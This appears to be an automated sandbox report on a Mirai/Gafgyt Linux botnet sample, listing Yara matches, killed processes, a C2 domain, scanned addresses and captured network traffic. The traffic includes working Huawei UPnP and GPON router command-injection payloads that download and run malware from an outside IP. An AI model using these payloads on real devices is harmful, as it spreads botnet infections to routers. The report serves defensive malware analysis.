Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Sample listens on a socket

Source: /tmp/na.elf (PID: 5438)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 83.145.247.100
Source: unknown	TCP traffic detected without corresponding DNS query: 194.231.105.214
Source: unknown	TCP traffic detected without corresponding DNS query: 136.188.196.15
Source: unknown	TCP traffic detected without corresponding DNS query: 37.91.249.100
Source: unknown	TCP traffic detected without corresponding DNS query: 142.64.63.202
Source: unknown	TCP traffic detected without corresponding DNS query: 206.25.184.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.146.3.96
Source: unknown	TCP traffic detected without corresponding DNS query: 46.221.29.10
Source: unknown	TCP traffic detected without corresponding DNS query: 117.69.112.41
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.224.182
Source: unknown	TCP traffic detected without corresponding DNS query: 206.172.111.124
Source: unknown	TCP traffic detected without corresponding DNS query: 57.124.180.86
Source: unknown	TCP traffic detected without corresponding DNS query: 32.70.96.45
Source: unknown	TCP traffic detected without corresponding DNS query: 198.138.136.176
Source: unknown	TCP traffic detected without corresponding DNS query: 194.122.161.223
Source: unknown	TCP traffic detected without corresponding DNS query: 58.83.32.106
Source: unknown	TCP traffic detected without corresponding DNS query: 83.238.217.151
Source: unknown	TCP traffic detected without corresponding DNS query: 116.70.199.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.41.202.172
Source: unknown	TCP traffic detected without corresponding DNS query: 79.90.37.163
Source: unknown	TCP traffic detected without corresponding DNS query: 158.194.40.31
Source: unknown	TCP traffic detected without corresponding DNS query: 190.146.54.106
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.214.120
Source: unknown	TCP traffic detected without corresponding DNS query: 195.251.148.72
Source: unknown	TCP traffic detected without corresponding DNS query: 58.186.80.110
Source: unknown	TCP traffic detected without corresponding DNS query: 197.17.80.21
Source: unknown	TCP traffic detected without corresponding DNS query: 153.113.194.244
Source: unknown	TCP traffic detected without corresponding DNS query: 184.163.244.139
Source: unknown	TCP traffic detected without corresponding DNS query: 183.215.56.250
Source: unknown	TCP traffic detected without corresponding DNS query: 131.252.160.138
Source: unknown	TCP traffic detected without corresponding DNS query: 109.25.24.121
Source: unknown	TCP traffic detected without corresponding DNS query: 150.150.252.174
Source: unknown	TCP traffic detected without corresponding DNS query: 140.171.143.190
Source: unknown	TCP traffic detected without corresponding DNS query: 166.111.133.168
Source: unknown	TCP traffic detected without corresponding DNS query: 123.142.176.97
Source: unknown	TCP traffic detected without corresponding DNS query: 145.152.132.164
Source: unknown	TCP traffic detected without corresponding DNS query: 134.141.136.59
Source: unknown	TCP traffic detected without corresponding DNS query: 166.49.250.222
Source: unknown	TCP traffic detected without corresponding DNS query: 220.157.230.196
Source: unknown	TCP traffic detected without corresponding DNS query: 188.151.30.154
Source: unknown	TCP traffic detected without corresponding DNS query: 48.189.56.233
Source: unknown	TCP traffic detected without corresponding DNS query: 151.36.200.152
Source: unknown	TCP traffic detected without corresponding DNS query: 119.154.220.64
Source: unknown	TCP traffic detected without corresponding DNS query: 5.203.28.16
Source: unknown	TCP traffic detected without corresponding DNS query: 119.67.246.211
Source: unknown	TCP traffic detected without corresponding DNS query: 107.23.130.225
Source: unknown	TCP traffic detected without corresponding DNS query: 223.239.245.248
Source: unknown	TCP traffic detected without corresponding DNS query: 9.81.63.61
Source: unknown	TCP traffic detected without corresponding DNS query: 71.99.73.207
Source: unknown	TCP traffic detected without corresponding DNS query: 186.247.52.141

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 39 32 2e 32 34 39 2e 34 38 2e 38 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: na.elf	String found in binary or memory: http://92.249.48.84/bin
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46483
Source: unknown	Network traffic detected: HTTP traffic on port 46483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42898
Source: unknown	Network traffic detected: HTTP traffic on port 42898 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: na.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5444, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5448, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5481, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5490, result: successful	Jump to behavior

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5444, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5448, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5481, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5490, result: successful	Jump to behavior

Yara signature match

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: na.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
